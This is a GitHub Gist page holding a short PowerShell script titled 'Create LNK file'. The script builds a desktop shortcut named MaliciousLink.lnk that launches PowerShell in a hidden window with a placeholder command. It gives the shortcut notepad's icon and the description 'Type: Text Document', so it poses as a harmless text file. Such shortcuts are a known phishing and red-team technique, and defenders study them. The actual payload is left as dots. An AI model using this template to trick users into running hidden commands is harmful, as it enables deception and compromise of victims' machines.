Created
December 6, 2017 17:25
-
-
Save leoloobeek/ee045b8570523fa4c7a7ef8c6ac18de2 to your computer and use it in GitHub Desktop.
Create LNK file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Shell = New-Object -ComObject ("WScript.Shell") | |
$ShortCut = $Shell.CreateShortcut($env:USERPROFILE + "\Desktop\MaliciousLink.lnk") | |
$ShortCut.Arguments = " -W 1 -command ....." | |
$ShortCut.TargetPath = "powershell" | |
$ShortCut.IconLocation = "C:\Windows\System32\notepad.exe, 0"; | |
$ShortCut.Description = "Type: Text Document"; | |
$ShortCut.Save() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment